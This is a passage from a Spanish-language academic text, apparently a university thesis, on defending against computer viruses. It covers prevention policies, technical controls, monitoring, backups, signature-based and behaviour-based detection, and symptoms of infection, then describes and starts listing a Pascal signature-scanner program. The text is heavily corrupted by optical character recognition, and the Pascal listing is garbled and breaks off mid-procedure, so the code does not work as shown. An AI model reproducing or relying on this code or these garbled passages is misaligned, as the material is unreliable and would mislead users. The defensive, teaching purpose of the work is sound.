* Asegurarse de que los usuarios comprendan la naturaleza del software
malicioso, como se despliega generalmente y los controles técnicos para
protegarse,

+ Desarrollar pétizas para la descarga y uso del dominio publico del software
compartido.
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« Crear algunos mecanismos para validalizar tal software, para permitir a los
usuarios copiarlos y usarios.

» Minimizar el intercambio de sofiware ejecutable dentro de una organizacion
tanto como sea posible.

« No crear depdsitos de soltware en servidores LAN o en directarios empleados
por sistemas multiusuarios a8 menos que existan controles téenicos para
restringir a los usuarios af cargar y descarger ef software fibramante.

El papsl da la educacitn es importante, dado que la mayorfa de los usuarios no
comprenden todavia los rigsgos por los cuales se les pide seguir necesariamenta
pélizas restrictivas para coplar y compartir software de manera indiscriminada.
Donde los controles técnicas no pueden prevenir el hecho de que se cargue un
nuavo software sobre un sistema, ios usuarios son primordialmente importantes
sobre el éxito o fracaso dei programa de prevencian.

Una pdliza qua prohibe cualquier coplado o use de soitware de dominio pablico
puede ser demasiado restrictiva para algunos programas de dominio pdblico que
han probado ser itiles. Una péliza poco restrictiva permitird algunas copias, sin
embargo se requarird permiso del administrador apropiado. Un sistema especial
usado en este caso, prevendria efecltuar Ia copia y despubs probar el software.
Este tipo de sistema lamado sistema aislado seria configurado tal que no hubiera
riesgo de desplegar un programa qus contenga algin programa mallcioso a otras
4reas de una organizacién, El sistema no podria ser usado por otros usuarios, no
se conectaria a los trabajos en Red y no peligrarfa ningun dato valioso. Un sistema
aislado tamblén serla usado para probar internamente el software desarrollado y
actualizario por via del vendedor de software.

Otras pélizas administrativas para vendedores serfan desarroltadas, Estas pdlizas
controlarfan cdmo y cudndo es comprado el software y restringirfan dénde es
instalado y cémo es usado, Se sugieren las siguientes pélizas v procedimientos:

» Compra de soitwarae sdlo de fuentes reputablas.

« Mantenimiento del software apropiadamente y actualizarlo si es necesario.

« No usar software "pirata’, ya que puede haber sido modificado.

« Mantener los discos ariginales de instalacidn disponible faciimente para fines
da contingencia.



* Asegurarse de que los vendedores puedan ser féculrnenta comactados si
-~ peurren problemas. : -
« Guardar los discos originales e cintas del vendedor en un lugar saguro.

3.1.3 Controles Técnicos.

L.0s controles técnicos son los mecanismos mas finos usados para proteger ta
seguridad e integridad de los slstemas, asl como a los datos asociados. El uso de
controles técnicos ayuda a pravenir apariciones de virus y amenazas afines,
detectandolas o hacléndoles més dificil obtener acceso a los datos y sisternas.
Ejemplo de controles técnicos incluyen mecanismos de autorizacién de usuarios
tales coma contrasefas, mecanismos que proveen niveles sslectivos de acceso a
archivos y directorios (30l0 lactura, no acceso, acceso a ciertos usuarios, etc.), y
mecanismos de proteccién de escritura en cintas y diskettes.

Los diferentes tipos de controles técnicos y el grado por el cual pueden proveer
proteccidn y acclones disuasivas, varla de sistema a slstama. Sin embargo, es
importante destacar los siguientes puntos generales:

« Los controles técnicos son usados como disposiclén para permitic el acceso a
los usuarios autorizados.

+ En el amblente multiusuario, los controles técnicos son usados para limitar los
privilegios de los wusuarios al mhimo nivel practico; trabajando
automaticamente y sin necesitar ser inicializados por los usuarios.

 Usuarios y administradores de sisternas deben ser educados sobre cémo y
cuando usar los controles técnicos.

eDonde los controles técnicos son débiles o inexistentes (como en las
computadoras personales PC), deben ser suplementados con controles
fisicos alternativos o mecanismos de control adherido (add-on).

Los administradores necesitan determinar cuéles controles técnicos estin
disponibles en sus sistemas y después, el grado al cual serfan usados y si los
controles adicionales add-on son necesarios. Una forma de responder a estas
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preguntas es categorizar primero las diferentes clases de datos procesados por
un sistema o sistemas, y después poner en fila las categorias segiin el criterio de
sensibilidad a la organizacién y vulnerabilidad del sistema al ataque. Las filas
ayudarfan entonces a determinar el grado al cual los controles serfan aplicados y
si los controles adicionales son necesarios.

Idealmente estos sistemas estructurados con controles mas efectivos son
usados para procesar los datos mas sensitivos y viceversa. Por ejemplo, una
computadora personal cuyos procesos sensitivos emplean informacion de tpo
confidencial, requerird mecanismos de autorizacién de acceso de! usuario,
mientras que una computadora personal usada para un proceso general de
palabras (solamente como "maquina de escribir'}, puede no necesitar controles
adicionales.

Es importante notar que los controles técnicos generalmente no propoercionan
una proteccién completa contra virus y amenazas afines. Tales controles pusden
ser superados por usuarios que tienen conocimiento de los "tropiszos" ocultos y
debilidades, ademds pueden ser vencidos a través del uso de programas virus.
Una debilidad inherente en los controles técnicos es que mientras detiene a
usuarios y software de objetos a los cuales no tienen acceso, pueden ser
totalmenta ingfectives contra ataques cuyes objetos de blanco son accasibles. Por
sjemplo, los controles técnicos no pueden prevenir el que un usuario autorizado
destruya archivos a los cuales el usuario tiene acceso autorizado. Més importante,
cuando fos controles técnicos no son usados apropiadaments, puede incrementar
el grado de vulnerabilidad del sistema, por ejemplo, que los usuarios no se
esmeren en su parte del programa por confiar demasiado en tales controles.
Generalmente se debe recordar que la total efectividad de los controles técnicos
no proporciona el 100% de proteccién.

3.1.4 Control General (Monitoreo).

Un aspecto importante de los virus y amenazas afines es que pueden causar
potencialmente un daiio extenso dentro de un muy breve lapso de tiempo, tal
como minutos o segundos. A través de un control apropiado de software, la
actividad del sistema y la actividad del usuario, los administradores pusdan



incrementar sus oporunidades para detectar tempranamente el software
malicioso y actividad no autorizada. Una vez que la presencia del virus es notada o
sospechada, los administradores pueden usar procedimientos de contingencia
para contener la actividad y reponerse de cualquier dafo gue haya sido causado.
tn beneficio adlicional de! control general es que en cualquier momento, puede
ayudar para daeterminar ei rivel necasario ¢ grado de seguridad indicado, slempre
que las pdlizas de seguridad, procedimientos y controles estdn trabajando como
se planed.

El monitoreo es una combinacién de la supervision y de la actividad
administrativa del sistema. Su sfectividad depende de la cooperacion entre
administradores y usuarios. Los siguientes puntos son necesarios para un control
efectivo:

» Educaclon dol usuarlo - los usuarios deben conocer espscificamente su
ambiente computacional, io que constituye una actividad normal y anormal del
sistema y a quienes contactar para mayor informacion; esta es especialmente
importante para usuarios de computadoras personales, las cuales
generalmente carecen de métodos automatizados para control.

s Instrumentos de control automatizade de sistema - Generalmente en
sistemas multiusuarios, para registros automatizados o calificacidn de
usuarios y acceso al software a cuentas, archivos y otros objstos del sistema,
se pusde gravar ciertos tipos de actividad tales como accesos “ilegales”,

*Software antiviral - Generalmente en las computadoras perscnales esos
instrumentos alertan al usuario de ciertos tipos de acceso al sistema que son
indicativos "lfpicos” de software malicioso. E| software antiviral se estudiara
con mayor detalle en la seccién 3.5.

*Programas de barrldo de sistema - programas para checar
autométicarente archivos en cuanto a si se modificaron parametros tales
como: tamano, fecha, atributos o contenido.

*Netware (Instrumentos de contral de trabajo en Hed) - come can los
instrumentos de control de sistema, para grabar acceso al Netware o intentos
de entrar.
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Las estadlsticas generadas por la actividad de control son usadas como
suministro para revisiones periodicas de programas de seguridad, Las revisiones
evaiuarfan la efectividad de !a administracién general del sistema y pdlizas de
seguridad asociadas, procedimientos y controles. Las estadisticas indicarén la
necesidad para cambios y ayudardn a afinar el programa, as/ que fa seguridad sea
distribuida a donde sca més nscesaria. Las revisionas también incorporarfan las
sugerencias de los usuvarios, procurando que sus criicas al programa no ssan
muy restringidas o autccensuradas.

3.1.5 Planteamliento de Contingenclas.

El propésito del planteamiento de contingencia con referencia a virus y
amenazas afines es ser capaz de contener y recuperarse completamente de
ataques. En muchas formas, la administracion efectiva de sistemas que incluye fa
educacién del usuario, uso de controles técnicos, administracién del software y
control de actividades, es una forma de planteamiento de contingencia, a causa
de que un sistema organizado es mas apto para aguantar la ruptura que podrfa
resultar de un ataque de virus, En adicibn a las efectivas actividades de
administracién de los sistemas, los administradores necasitan considerar otros
procedimientos de contingencia que especificamente toman en cuenta la
naturaleza de los virus y amenazas afines.

Posiblements, la actividad mas importante del planeamiento de contingencias,
implica el uso de respaldos de la informacién relevante. La habilidad para
recobrarse de un ataque viral depende aparte, de un mantenimiento de respaldos
frecuentos de los sistemas. Debe verificarse que se cumpla con cada perfodo de
respaldo para asegurar que la media de respaldos haya sido cumplida. La media
de respaldos serla corrompida féaciimente a causa de defectos, a causa de qua el
procedimiento de respaldo era incorracto o tal vez, a causa de que el sistema que
efectia los respaldos en st mismo ha sido atacado y modificado para corromper
los respaldos en el momento de efectuarlos.

Los procedimientos de contingencia para restauracién de respaldos después de
un ataque viral son igualmente importantes, Los respaldos pueden contener
copias de virus que ha estado oculto en el sistema, por lo que al restaurar los



respaidos también se restauraria 8l virus. Hestaurar e} software malicioso ai
sistema que ha sido atacado podria causar una repeticién del problema, Para
evitar esta posibilidad, los paquetes deberdn ser restaurado sélo de su medio
original; las cintas o diskettes del provesdor. En algunos casos, esto pueds inciuir
una raconfiguracién del software. A causa de qus {os dalos no son directamente
gjacutables puedo ser restaurado de respaldos de rutina. Sin embargo los dates
que han sido dafados pueden necesitar ser restaurados manualmente o de
respaldos més actualizados. Los archivos de comando tales como los
procedimiantos batch y archivos ejgcutables, (os sistemas o o} boot program serén
inspeccionados para asegurar qua no han sido dafados o modificados. Asi, los
administradores necasitarén retensr respaidos de fa configuracién del sistemnas y
de la informacién contenida en 8) CMOS, sector de carga, Fat de los discos y el
directorio rafz y buscar en ellos cuando restauren datos dafiados y archivos
ajecutables.

Ctros procedimientos de contingencia para contener ataques virales necesitan
ser considerados. Se suglera los siguientes:

« Asegurar que el software original de los paquetes y sistemas son guardados
con la configuracién del sistema incluyendo fa ubicacién del sistema, los
programas, o trabajo total ds! sistema y conexiones de modem y el nombre
del administradar © responsabie individua! def sistema.

« Crear un grupo de usuarios habiles para enfrentarse a (os incidentes de virus
y asegurarse que los usuarios puedan contactar rdpidamento a este grupo si
sospachan seflas de actividad viral,

+ Mantensr una lista de actividades de seguridad en cada lugar con nimeros de
toléfono apropiados de administradores parz contactarios cuandc ocurran
problemas.

« Aislar los problemas criticos de trabajos totalss v otras fusntes de infeccién.

» Calocar fuera las canexiones de trabajos totales en sistemas con las mejores
protecciones, usar entradas centrales para facilitar rapidas desconexionas.



3.2. Detecclén de virus.

La deteccidn ds los virus en los sistemas computacionales es una necesidad
inmersa en todo programa general de proteccién qua asegure la Integridad de los
mismos. Aunque los sistemas de prevencidn supervisan las actividades
sospechosas del software mientras que los programas estén en actividad, los
sistemas de deteccién comprucban el cédigo del programa antes que se ejacuta.
Los sistemas de deteccién complementan a los de supervisién, empleando
sofisticados algoritmos de examen para aislar al computador. Una vez detectado
un virus, los usuarios pusden decidir si los programas son eliminados, evaiuados
nusvamente o intentar "repararlos”.

Cuando se comparan los sistemas de prevencién y deteccidn, los Ultimos son
mas cémodos para el usuafio. Los sistemnas de deteccidn se cargan, se ejecutany
existen de la misma manera que otros programas normales,

Los virus informéticos se han definido como programas que se reproducen y
alteran el comportamionto normal de un sistema, sin conocimiento ni
consentimiento de los usuarios.

Dada su propiedad de autorreproduccién, es posible la deteccién del cédigo
viral en los programas infectados, y debido a su propiedad de aherar el
comportamiento, es posibie deleclarlos por su actividad viral,

Por lo anterior, los sistermas de deteccidn pueden ser de dos tipos: detectores de
cédigo viral y detectores de actividad viral. Los primeros se especializan en aislar
fas infecciones viricas inmediataments después de que hayan ocurrido, mientras
que los segundos expioran los programas buscando mensajos escondidos y
drdenes destructivas contenientes en sus cddigos, ademas de identificar
comportamiento anormal de los sistemas. Ambas estrategias tisnen sus ventajas y
desventajas; ninglin esquema ss de éxito seguro.

Ademés de estas dos estrategias, se encuentra otra que, sin ser muy analltica, es
en ocasiones muy eficaz: la apreclaclén del comportamiento de ios sistemas por
los usuarios. La mayorfa de los usuarios tienen delimitado el comportamiento de
sus aquipos y pueden apreciar cuando estdn trabajando normal o cuando lo
hacen de manera distinta.



3.2.1 Dotectores de cédigo viral.

Debido a la propia naturaleza de la actividad virica, por el proceso de
autorreproduccién, se encuentra una parte de cddigo muy espacifico en cada
archivo o disco infectado, haciendo posible la dsteccién de infecciones
mediante 6! reconocimiento de! cédigo reproducido.

Los programas de deteccidn de virus que emplears este método se clasifican en
dos grupos: detectores especificos de programa {exploradores de virus) y
detectores genéricos.

Detectores especificos de programas.

Los detectores especiiicos de programas buscan un ndmero limitade
(actualmente hasta 1700) de virus conocidos. Examinando los archivos en
busca de “firmas" de virus para los que han sido programados que detacten. Al
reconocimiento de las “firmas" de los virus, los exploradores de virus producen
mensajes de alarma que notifican del descubrimiento a los usuarios.

Por otro lado estos sistemas de deteccidn presentan las siguientes desventajas:

* Los deteciores sspecilicos de programas pueden reconocer solamente a
un nimero y a un conjunto fijo de virus conocidos, Esto implica que virus
nuevos o varsiones modificadas puedan superar la deteccldn,

* Estos sistemas requieren actualizacionas frecuentes, a veces costosas,
cuando se descubren virus nuevos o cuando se actualizan diseios antiguos,

* Estos sistemas se muestran impotentes ante los virus de cédigo cifrado,
que son disenados especificamente para la deteccién por reconocimiento de
firma.

Detactares genéricos.

Los detectores genéricos en lugar de intentar identificar todos los virus
Informaticos conocidos, en vez de intentar vigilar todas las interrupciones dei
DOS y las disponibles brechas de software, estos detectores trabajan sobre la
base de que los virus tienen que modificar los cédigos ejecutables para
*sobrevivirt,
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Los archivos ejscutables nunca deben cambiar de tamafio ni de contenido, a
menos que los usuarios los actualicen fisicamente. Los detectoras genéricos
operan en base a que los cambios no autorizados que ocurran en los archivos
ejecutables, de algun mado estaticos, son indicativos de actividad virica.

Los detectores genéricos identifican todo cambio, por pequeio o insignificante
que sea, que ocurra en archivos ejecutables estéticos.

Las desventajas presentadas por astos sistemas son: son complicados de usar
y requieren de mucho tempo para su ejecucién, necesitan almacenar los
tarmarios de los archivos ejecutables en el sistema y campararios continuamente
para verificar cambios en su longitud y legan a causar falsas alarmas.

3.2.2 Detectores da actlvidad viral,

Como se menciona anteriormente, fa alteracion del comportamiento de un
sisterna es consecuencia de una infeccién viral. Las alteraciones mas comunes
que se pueden encontrar debldo a una infaccién viral son:

* Programas residgntes an memorla. Un virus para establecerse residente en
memaria, emplea la intorrupcién 27h. Esto puede sar aprovechado por los
sistemas de deteccién, controlando el lamado de esta interrupcién. Por otro
lado, el llamado a ésta no es exclusivo de los virus, sino ademas de muchas
aplicaciones. Esto implica la necesidad de tener conocimiento sobre cuales
rutinas deben ser residentes (que son parte del sistema aperativo o paquetes
de aplicacién), para controlar que ningdn programa, fuera de los identificados,
pueda aprovechar los recursos de la interrupcidén mencionada.

Los programas autorizados que pueden emplear a la interrupcidn se registran
en una tabla especifica y cada vez qus un programa pida utilizar la
Interrupcidn 27h, se verifica que sl programa esté en esta tabla De no estarlo,
se despliega en pantalla un mensaje indicando al usuario sobre una posible
actividad viral.

Los inconvenientes de este tipo de deteccidn son: se alentan los procesos, se
requiere de una tabla de validacién, fa cual ocupa espacio, necesidad de
actualizaciones a esta tabla.



. ria di Ible (RAM). Estos sisternas son un complemento para los

descritos en el punto anterior. Efectan cilculos sobre la cantidad de memoria
disponible en RAM, considerando a los programas residentes autorizados y
las aplicaciones en sjecucién. Cuando descubren una diferencia en los
célculos, notifican al usuario sobre cierta cantidad de memoria "perdida®, la
cusal puede ser causa de un dafo fisico en la memoria © a qus un virus
informatico se alberga en ese espacio.

Estos sistemas son muy complejos y exigen a los usuarios una opseracién
cuidadosa de los mismos, actualizacién constante de fas tablas de programas
resldentes autorizados, conocimiento preciso del manejo ds la memoria por el
sistema operativo y demés aplicaciones.

* Yectores de interrupclén, La mayorfa de los virus informaticos efectdan una

intercepcién de las interrupciones, modificando las direcciones que
almacenan. En este caso, los sistemas de deteccion conservan una copia de
la tabla de asignacién de interrupciones, la cual se compara constantemente
para verificar que no exista pingan cambio en ella. Al encontrar una diferencia
en las direcciones de los vectores, se da aviso al usuario para que tome las
medidas pertinentes, cansiderando un posible atague viral.
Estos sistemas no son muy confiables, su operacidn es compleja y requieren
que los usuarios que los apliquen tengan conocimientos precisos sobre las
interrupciones del sistema. Otra desventaja que presentan es que generan
falsas alarmas constantemente.

* Bulinas destructivas. Se exploran conjuntos de archivos individuales o
multiples en busca de rutinas destructivas incluldas en el tdigo ejecutable de
los archivos examinados (por ejemplo érdenes de borrado de archivos o
llamadas a programas de formateo de discos). Aigunos de estos detectores
extrasn mensajes con texto almacenados en el programa, que son
indicaciones directas de actividad virica. Presentan los inconvenientes de no
distinguir entre un programa infectado y uno que emplea rutinas destructivas
de manera autorizada.

97



3.2.3. Detecclén por apreclacién.

Aunque existen técnicas avanzadas de deteccién, en ocasiones las
apreciaciones de los usuarios sobre 8l comportamiento de sus equipos de
cémputo es una forma practica de deteccidn viral. Los usuarios llegan a conocer
tan bien a su computador que saben cudnto tardan las unidades de disco en
almacenar ciertos archivos, saben cuéles oporaciones se efectiian *mas despacio”
y cudles se realizan "rpidamente*. Los usuarios que emplean los equipos
constantamenta conocen cuando sus PC's estén funcionando bien. Asl mismo, los
usuarios "sienten” cuando sus computadores no estan trabajando normalmente.

Es posible identificar actividad viral en los computadoras sin necesidad de
software sofisticado de proteccién, siempre y cuando los usuarios sepan
reconocer aportunamente los sintomas de "enfermedad' en sus computadores.
Los sintomas tlpicos que presentan los computadores infectados se listan a
continuacién:

« Las oparaciones informaticas parecen fentas.

« Los programas tardan més de lo normal en cargarse,

¢ Los programas accedsn a multiples unidades de disco, aunqus no se esté
trabajando en ellos.

+ Los programas accesan a los discos en tiempos inusuales o con mayor
frecuencia.

* El espacio disponible en el disco disminuye "sin razén",

» Se sailalan sectores danados en los discos y el numero de ellos aumenta
constantemente.

* La cantidad de RAM disponible disminuye en forma repentina o constante. {la
RAM puede verificarse con el programa CHKDSK de! Sistema Opesrativo).

* Programas que normalmente funcionan bien se comportan de manera
extrana o "caen” sin motivo.

* Los programas encusentran errores de manera inusual,

* Los programas presentan mensajes no documentados.

* Desaparici6n de archivos.

« Los archivos son sustituidos por objetos de origen desconocido o por datos
falsos.



' . Los campos en los registros de archivo (nombre, extensién, tamaio,
“ atributo), son modificados sin intervencién o conocimiento del usuario.
« Aparecen archivos de datos o directorios de origen desconocido.

3.3. Un programa en Pascal para detectar virus.

Este programa funciona bajo los mismos principios de identificacién de virus que
emplean todos los programas antivirus. Tomando en cusnta e} hecho de quse la
mayorfa de los virus estdn en esencia destinados a autorreproducirse,
consecuentemente los programas contaminados contienen una parte muy
especifica, que se vuelve a encontrar por el mismo fendmeno de reproduccidn,
Esta secuencia de cédigo es usualments llamada la "firma" del virus. Este
programa reconoce 37 ‘firmas" de los virus méas difundidos, las clales se
encuentran almacenadas en un archivo de datos (.DAT), lo que permite al usuario
agregar nuevas “firmas" a medida de que se obtenga la inforrhacidn pertinente.
Este programa no es correctivo, sélo previene el empleo de algin programa
infectado (los programas antivirus existentes en el mercado presentan funciones
tanto de deteccién y correccidn, ademas de tener dispositivos practicos de alarma
para prevencion).

Este programa se presenta basicamente para fines didacticos. En é1 se puede
apreciar la manera por la que los programas antivirus reconocen si un programa
esta infectado por un virus conocido y como, ademds, sefialan cual virus,

£l funcionamlento y utilizacién del programa es muy simple y su adaptacién a un
lenguaje distinto de PASCAL se puede lograr sin dificultad.’ Una vez lanzado el
programa comienza por leer el archivo ANTI.DAT que contiens las "firmas" de los
virus que es capaz de detsctar. Después el programa presenta un mens cuya
primera opcién es para ejecutar las rutinas de deteccién, que al activarse, se
busca a todos los archivos con extensién .COM en el directorio especificado por el
usuario, lee los archivos correspondientes buscando la *firma” de un virus, Si uno
de ellos resulta detectado, un mensaje en la pantalla indica que se encuentra
contaminado, y el nombre del programa incriminado se escribe en el archivo
ASCI(VIRUS.DAT). La lectura de ese programa es abandonada inmediatamente y
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pasa al siguiente. En caso de no encontrar la firma et chequeo continGa hasta
encontrar ol fin del archivo. Una vez examinados todos los archivos .COM se
proceds a examinar todos los archivos .EXE, los que se checan de la misma
manera.

Las ofras opciones del mend son para listar las firmas de los virus conocidos o
agregar una nueva fima.

3.3.1 Procedimientos Y Funclonas

Bl programa utiliza 15 procedimientos o procesos y una funcion. El propésita de
cada uno de los procedimientos y de la funcién que se emplean en el programa se
explica a continuacién en el orden en que aparecen en el listado del programa.

1. E proceso "FIN® envia simplements un mensaje de aviso, en caso de que el
archivo ANTI.DAT (que contiene [as *firmas” de los virus plenamente
identificados), no se encuentre en el mismo directorio que el programa, y
abandona la elecucidn del programa,

2. El proceso "ALERTA" envia un mensaje en pantalla cuando descubre la
secuencia de codificacion especifica da un virus: el directorio o biblicteca de
los vikus es llamado y el nombre del virus detectado es desplegado en la
partalia,

3. El proceso "ASCIP, que utiliza una funclén especifica "L", tiene simplemente
como papel convertir los codigos leidos de los archivos en formato ASCll a
un formato en numeracién decimal. La funcion L transforma, para oste efecto,
las latras A,B,C,D,E y F, encontradas en los formatos ASCIY, en los nimeros
A=10; B=11; C=12; D=13; E=14; F=15.

4. B procedimiento "CONTAMINADOS" tiene por objeto presentar la lista con
los nombres de los archives que se hayan detectado infectados,
acompaiiados por los nombres de los virus que los atacd, en grupos de 20,
La lista incluye el andlisis del sector de carga del disco verificado.



10,

1",

E! procedimiento “PRESENTACION" es el primero en ser llamado por el
programa principal, v es el encargado de desplegar la pantalla de
prasantacion con el nombre del programa, el del autor y el total de virus que
reconoce el programa.

El procadimianto "CARGA_VIRUS" es el segundo en ser llamado por el
programa principal. Este carga en la variable de memoria VIRUS{N), que es
un arreglo de registros, los datos de todos los virus ragistrados en el archivo
ANTLDAT, tales como su nombre, firma, longitud y tipo de archivo al que
atacan. El nimero de virus cargados en memaria se guarda en fa variable
NBVIR.

El procedimiento “ESUB" extrae todos los subdirectorios que pertenezcan al
directorio que se verificara. E! directorio en donde se efectuard el proceso de
deteccién es especificado por el usuario en el proceso "RASTREA, el cual
llama la ejecucitn de este procedimianto.

Procedimiento “LEXE" (LEE .EXE). Este se encarga de inicializar 1a busqueda
de los archivos con extensién .EXE, una vez que se haya terminado de
examinar todos los archivos .COM.

El procedimiento "LEE_SECTOR" emplea un llamado a !a interrupcion 13h
para cargar el sector coro (sector de carga) del disco examinado en la
variable de memcria SECTORO, para después verificar la existencia de virus
en él, por medio del procedimiento "SECTOR_CERO".

Procedimiento "SECTOR_CERQ" empieza llamando la ejecucion del
procedimiento anterior ("LEE_SECTOR'), para leer el sector de carga del
disco examinado en la variable llamada SECTOROQ. Continva checando la
lista de virus contra el cédigo contenido en la variable SECTOR0 y en caso
de reconocerse una firma identificada lama la ejecucién del procedimiento
"ALERTA" para informar de este descubrimiento.

El procadimiento "EXAMINA" es el encargado de buscar las firmas de los
virus en los archivos ejecutables. El proceso es buscar el primer caracter de
la firma del virus dentro de cada archivo, si lo encuentra, verifica el siguiente
caracter del archivo con el segundo caracter de Ia firma, y asl sucesivamente
hasta terminar con todos los caracteres de la firma del virus, En caso de
encontrar una cadena de caracteres idéntica en el archivo a la firma del virus,
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13.

este se considera infectado. Al encontrar un archivo infectado, este
procedimiento llama la ejecucion de otro llamado "ALERTA* para indicar al
usuario la detaccidn identificada y escribe el nombre del programa y el virus
involucrado en el archivo VIRUS.DAT, en formato ASCH, incrementandose
ademés el contador de archivos contaminados. La revisién del archivo se
efectua para todas las firmas declaradas para el tipo de archivo respectivo y
una vez verificadas, si no se encontrd ninguna, se continda con el siguiente
archivo hasta terminar con todos los del directorio especificado por el
usuario,

El procedimiento "ANALIZA" se encarga de lesr un archivo para ser
examinado, presentando ademés el monitoreo de la bisqueda en la pantalla
del computador. E! procedimiento lee el archivo a examinar asignandolo a ta
variable FIC, despliega el nombre del archivo que se esta examinando
(ARCHINFO.NAME), el tamafio del archivo en bytes (ARCHINFO.SIZE), el
némero de archivos verificados (FIC_VIS) y liama al procedimiento
"EXAMINA" para que se efectie su verificacién. Cuando conciuye la
verfficacién  del archivo, este procedimiento lee el siguiente archivo
sjscutable. Esto se efectia hasta que termina con todos los programas dal
directorio especificado, incluyendo sus subdirectorios.

El proceso "RASTREA" es el médulo que administra el proceso de rastreo.
Primero inicializa 1a pantalla de presentacién a través dsl procedimiento
"PRESENTACION", daspués de lo cual solicita al usuario que introduzca 8!
disco y directorio que sera examinado. Seguidamente de esto, se llama la
ejecucion dsi procedimiento "ESUB" para extraer todos los subdirectorios
que contiene el directorio en examen. La verificacion comienza por el sector
de carga del disco mediante la ejecucion del proceso "SECTOR_CERQ",
después de lo cual se comienza el andlisis de fos archivos del directorio por
el procedimisnto "ANALIZA". Este mddulo es el que llama al proceso
"CONTAMINADOS" para listar a los archivos infectados que se hayan
descublerto, de no existir ninguno, el programa regresa el control al
programa principal.
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14. El procedimianto "LISTADG" es ejecutado al seleccionar la segunda opcidn
del ment principal. Este proceso solamente s6 encarga de presentar en la
pantalla |a lista de los virus registrados en el archivo ANTI,DAT, desplsgando
en grupos de cinco registros los datos de nombre de los virus y sus firma,

15. Ei procedimiento "CAPTURA" se encarga de ragistrar nuevas definiciones
para agregarse al archivo ANTL.DAT. Este médulo se sjscuta al seleccionar ia
tercera opcién del menu principal y es el que permite actualizar al programa
en el reconocimiento de nuevos virus o modificaciones a los ya existentes.

16. "PROGRAMA PRINCIPAL" s ol encargado de coordinar las acciones que
requiera el usuario a través de un menu, Al comienzo del mismo, se llama la
sjecucién de los procedimientos "PRESENTACION®, para inicializar la pantalla
de presentacién, y "CARGA_VIRUS", para cargar en las variablas de memoria
pertinentes, todos los nombres de los virus y sus definiciones que estén
registrados en el archivo ANTLDAT. Por ultimo establece un cilco en el cugl
se presenta un menu para oparar al programa.

El programa emplea ademas una librerfa personal del autor, llamada "U" que
contiane las rutinas:

¢ CUADRO(X1,Y1,X2,¥Y2,T). Presenta un recuadro en fa pantalla con
coordanadas de la esquina superior izquierda en (X1,Y1) y de la esquina
inferior derecha en (X2,Y2) y el tipo de recuadro en T, siendo 1 para un
recuadro de linea sencilla y 2 para un recuadro de doble iinea.

* MENU(X.Y,N,LT,OPCION,C). Efectia el manejo del mend vertical que
presenta el programa. La primera opcién se despliega en las coordenadas
X.Y), N es el nimero de opciones que serén desplegadas, L indica cuantas
lineas entre opcidn y opcidn. T el tipo de meny siendo T=1 para un mend
vertical y T=2 para un ment horizontal. Las dascripciones da las opciones se
dan en el arreglo OPCION y la variable C es en donde se indica que opcién
eligi6 el usuario, siendo C=1 cuando se eligi6 la primera opcién, C=2 para la
segunda opcion y asf sucesivamente. ‘



Estas rutinas solamente sirven para hacer més vistoso al programa y su accion
no es relevante para el programa. Ambas rutinas pueden sustitulrse por rutinas
que efectlien una accidn andloga a la descrita.

3.3.2 Listado del programa.

El listado completo del programa se presanta en a continuacion, en a figura 3-1.

UNIVERSIDAD NACIONAL AUTONOMA DE MEXICO
E.N.E.P. ARAGON
PROGRAMA PARA LA DETECCION DE VIRUS INFORMATICOS

st}
{SM $3838,0,0)
PROGRAM DETECTOR;
USES DOS,CATY;
¢ }
{ DECLARACION DE VARIABLES }
TYPE
FICHERO = RECORD

NOMBRE  -STRING[20}:

FIAMA SARRAY (1..50] OF CHAR;

FIAMAHEX  STRING;

LONGITUD  :BYTE;

EXT STRING[);
END;
VAR
OATA TEXT; {ARCHIVO DE DESCRIPCION DE VIRUS]
NOMS TEXT; ARCIHIVO DE PROGRAMAS INFECTADOS}
VIRUS ‘ARRAY [1..50] OF FICHERO; {TABLA DE DESCRIPCION DE VIRUg}
NBVIR BYTE: NUMERO OE VIRUS EXISTENTES EN EL ARCHIVO ANTL.DAT}
x :STRING; ALXILIA LA CARGA DE LGS REGISTROS DEL ARCH. ANTLOAT}
ARCHINFO ‘BEARCHREC {REGISTRO PARA CARGAR LGS VIRUS EN EL PROGRAMA}
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LISTADO DEL PROGRAMA DETECTOR OE VIRUS (CONTINUA)

{ DECLARACION DE VARIABLES}
1 BYTE:
+FILE; {ARCHNO A VERIFICAR)
NSION :BTAING; {EXTENSION DEL ARCHNVO ( EXE, .COM}}
:LONGINT; {PUNTERQ DE ARCHIVO}
OK :BOOLEAN; {BANDERA OE ERRORES}
DIFERENTE HOOLEAN; {BANDERA DE RECONCCIMIENTO DE FIRMA}
ESCAPE {BOOLEAN, {BANDERA PARA LA TECLA “ESC*}
DRECTORID STRING; {NOMBRE DEL DIRECTORIO EXAMINADO)
sD CARRAY [1 130) OF STRING; {TABLA DE SUBDIRECTOR!O}
BUF SARRAY [1.1024) OF CHAR, {BLOCKE LEIDQ DEL PROGRAMA EXAMINADO}
T™P :STRING; {REQISTRO LEIDO}
RES WORD:
VIRUS_DEC BYTE: {CONTADOR BE vIRUS DESCUBIERTOS)
FIC_vIS BYTE; {CONTADOR DE ARCHIVOS VERIFICADOS)

BUFFER_DATA ARRAY [1..1624] OF CHAR:
BUFFER_NOMS :ARRAY [1..1024) OF CHAR;

ac “INTEGER; {CONTADORES}

FEXE BODLEAN; {BANDERA PARA ARCHIVOS .EXE}

OPCION o {OPCIONES DEL MENU PRINCIPAL}

isco CHARL {DISCO EXAMINADG}

PEGISTRO ‘REQISTERS; {REGISTROS PARA EXAMINAR AL BOOT-SEGTOR}
SECTORD ARRAY [1.512] OF CHAR;  {ALMACENAMIENTO TEMPORAL DEL BOGT-BECTOR)

{ R 3
{ 1

PROCEDURE FIN;
BEGIN
WRITELN{NO SE ENCONTRO AL ARCHIVO ANTLDAT ;
HALT,
END;
{ Y
{ }

PHOCEDURE ALERTA(LINTEGER; TA:BOOLEAN)

mc(vm DEC):;
CUADAOI(10,21,70.24.1);
QOTOXY(12.22);
WRITELN{#7,ATENCION, VIRUS DESCUBIEATO EN EL ARCHIVO: | ARCHINFO.NAME);
GOTOXY(14,23);
WRITELN[PROBABLEMENTE INFECTADO POR: "VIRUS[].NOMBRE),
WRITELN(NOME ARCHINFO.NAME,' INFECTADO POR: * VIRUS[I).NOMBRE);
IF TA THEN SEEK(FIC.FLESIZE(FIC)):

END;
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USTADO DEL PROGRAMA DETECTOR DE VIRUS {CONTINUA)

PROCEDURE ASCIIVAR Z:5TRING)
VAR

X8 +8YTE;

R : INTEGER,

RESULY  :BYTE;

L T T T S A |

FUNCTION L{S:CHAR):BYTE;
BEGIN

CASE UPCASE(E) OF

WHILE K<LERATH(G DO
OIN

mcm
